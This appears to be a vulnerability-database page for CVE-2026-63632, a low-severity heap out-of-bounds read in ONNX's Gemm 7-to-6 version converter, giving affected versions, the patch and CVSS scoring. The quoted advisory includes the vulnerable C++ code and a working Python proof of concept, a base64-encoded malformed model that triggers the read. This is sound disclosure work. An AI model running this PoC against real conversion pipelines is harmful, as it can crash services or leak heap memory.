CVE-2026-63632: ONNX — LOW

### Summary Heap-buffer-overflow READ (16 bytes) in `Gemm_7_6::adapt_gemm_7_6()` (`onnx/version_converter/adapters/gemm_7_6.h:41`) when `ConvertVersion()` processes a model with a Gemm node whose input tensors have fewer than 2 dimensions. The adapter accesses `B_shape[1]` without checking rank....

Full CISO analysis pending enrichment.

What systems are affected?

Package	Ecosystem	Vulnerable Range	Patched
ONNX	pip	>= 1.3.0, <= 1.21.0	`1.22.0`
21.2K OpenSSF 8.8 1.1K dependents Pushed 6d ago 86% patched ~39d to patch Full package profile →

Do you use ONNX? You're affected.

How severe is it?

CVSS 3.1

3.3 / 10

EPSS

N/A

Exploitation Status

No known exploitation

Sophistication

N/A

What is the attack surface?

AV Local

AC Low

PR None

UI Required

S Unchanged

C None

I None

A Low

What should I do?

Patch available

Update ONNX to version 1.22.0

Which compliance frameworks are affected?

Compliance analysis pending. Sign in for full compliance mapping when available.

Frequently Asked Questions

What is CVE-2026-63632?

### Summary Heap-buffer-overflow READ (16 bytes) in `Gemm_7_6::adapt_gemm_7_6()` (`onnx/version_converter/adapters/gemm_7_6.h:41`) when `ConvertVersion()` processes a model with a Gemm node whose input tensors have fewer than 2 dimensions. The adapter accesses `B_shape[1]` without checking rank. On Release builds the OOB read is silent; ASan confirms 16-byte read past a 48-byte allocation. ### Details The Gemm 7→6 downgrade adapter reads input shapes without bounds checking: ```cpp // gemm_7_6.h:26-42 const auto& A_shape = inputs[0]->sizes(); // May have < 2 elements const auto& B_shape = inputs[1]->sizes(); // May have < 2 elements if (node->hasAttribute(ktransB) && node->i(ktransB) == 1) { MN.emplace_back(B_shape[0]); // OOB if B has 0 dims } else { MN.emplace_back(B_shape[1]); // OOB if B has < 2 dims ← CRASH } ``` The PoC has input B with shape `[28]` (1 dimension). `B_shape` has 1 element. Accessing `B_shape[1]` reads 16 bytes past the `std::vector<Dimension>` internal storage into adjacent heap memory. The same unchecked pattern applies to `A_shape[0]` and `A_shape[1]` at lines 34 and 36. **Entry point:** `onnx.version_converter.convert_version(model, 6)` — different from the `InferShapes` bugs reported in separate advisories. This triggers during opset downgrade (7→6). ### PoC ```python import base64 import onnx from onnx import version_converter poc_b64 = "CAM6rwEKUQoBQQoBQgoBQRIBWSIER2VtbSoPCgVhbHBoYRUBAQA+oAEBKg4KBGJldGEVAAAAOqABASoNCgZ0dGZsc0EYAaABAioNCgZ0cmFuc0IYAKABAhIKb2Vpdl94bWZ2aFoTCgFBEg4KDAgBEggKAggCCgIIA1oTCgFCEg4KDAgBEggKAggcCgIIBFoPCgFCEgoKCAgBEgQKAggbYhMKAVkSDgoMCAESCAoCCAIKAggEQgQKABAH" model = onnx.load_from_string(base64.b64decode(poc_b64)) # Triggers heap-buffer-overflow in Gemm_7_6 adapter version_converter.convert_version(model, 6) ``` 186-byte PoC. ASan confirms: `heap-buffer-overflow READ of size 16` at `gemm_7_6.h:41`, `0 bytes after 48-byte region` allocated in `tensorShapeProtoToDimensions` at `ir_pb_converter.cc:216`. ### Impact Any application that uses `onnx.version_converter.convert_version()` on untrusted models is vulnerable. This includes model conversion pipelines and tools that auto-downgrade opset versions for compatibility. On Release builds the OOB read is silent — the read value propagates into the converted model's output shape, potentially leaking heap data. On ASan builds it's detected as a heap-buffer-overflow. Could also cause crashes with different heap layouts.

Is CVE-2026-63632 actively exploited?

No confirmed active exploitation of CVE-2026-63632 has been reported, but organizations should still patch proactively.

How to fix CVE-2026-63632?

Update to patched version: ONNX 1.22.0.

What is the CVSS score for CVE-2026-63632?

CVE-2026-63632 has a CVSS v3.1 base score of 3.3 (LOW).

What are the technical details?

Original Advisory

### Summary Heap-buffer-overflow READ (16 bytes) in `Gemm_7_6::adapt_gemm_7_6()` (`onnx/version_converter/adapters/gemm_7_6.h:41`) when `ConvertVersion()` processes a model with a Gemm node whose input tensors have fewer than 2 dimensions. The adapter accesses `B_shape[1]` without checking rank. On Release builds the OOB read is silent; ASan confirms 16-byte read past a 48-byte allocation. ### Details The Gemm 7→6 downgrade adapter reads input shapes without bounds checking: ```cpp // gemm_7_6.h:26-42 const auto& A_shape = inputs[0]->sizes(); // May have < 2 elements const auto& B_shape = inputs[1]->sizes(); // May have < 2 elements if (node->hasAttribute(ktransB) && node->i(ktransB) == 1) { MN.emplace_back(B_shape[0]); // OOB if B has 0 dims } else { MN.emplace_back(B_shape[1]); // OOB if B has < 2 dims ← CRASH } ``` The PoC has input B with shape `[28]` (1 dimension). `B_shape` has 1 element. Accessing `B_shape[1]` reads 16 bytes past the `std::vector<Dimension>` internal storage into adjacent heap memory. The same unchecked pattern applies to `A_shape[0]` and `A_shape[1]` at lines 34 and 36. **Entry point:** `onnx.version_converter.convert_version(model, 6)` — different from the `InferShapes` bugs reported in separate advisories. This triggers during opset downgrade (7→6). ### PoC ```python import base64 import onnx from onnx import version_converter poc_b64 = "CAM6rwEKUQoBQQoBQgoBQRIBWSIER2VtbSoPCgVhbHBoYRUBAQA+oAEBKg4KBGJldGEVAAAAOqABASoNCgZ0dGZsc0EYAaABAioNCgZ0cmFuc0IYAKABAhIKb2Vpdl94bWZ2aFoTCgFBEg4KDAgBEggKAggCCgIIA1oTCgFCEg4KDAgBEggKAggcCgIIBFoPCgFCEgoKCAgBEgQKAggbYhMKAVkSDgoMCAESCAoCCAIKAggEQgQKABAH" model = onnx.load_from_string(base64.b64decode(poc_b64)) # Triggers heap-buffer-overflow in Gemm_7_6 adapter version_converter.convert_version(model, 6) ``` 186-byte PoC. ASan confirms: `heap-buffer-overflow READ of size 16` at `gemm_7_6.h:41`, `0 bytes after 48-byte region` allocated in `tensorShapeProtoToDimensions` at `ir_pb_converter.cc:216`. ### Impact Any application that uses `onnx.version_converter.convert_version()` on untrusted models is vulnerable. This includes model conversion pipelines and tools that auto-downgrade opset versions for compatibility. On Release builds the OOB read is silent — the read value propagates into the converted model's output shape, potentially leaking heap data. On ASan builds it's detected as a heap-buffer-overflow. Could also cause crashes with different heap layouts.

Weaknesses (CWE)

CWE-125 Out-of-bounds Read Primary

CWE-125 — Out-of-bounds Read: The product reads data past the end, or before the beginning, of the intended buffer.

[Implementation] Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylis
[Architecture and Design] Use a language that provides appropriate memory abstractions.

Source: MITRE CWE corpus.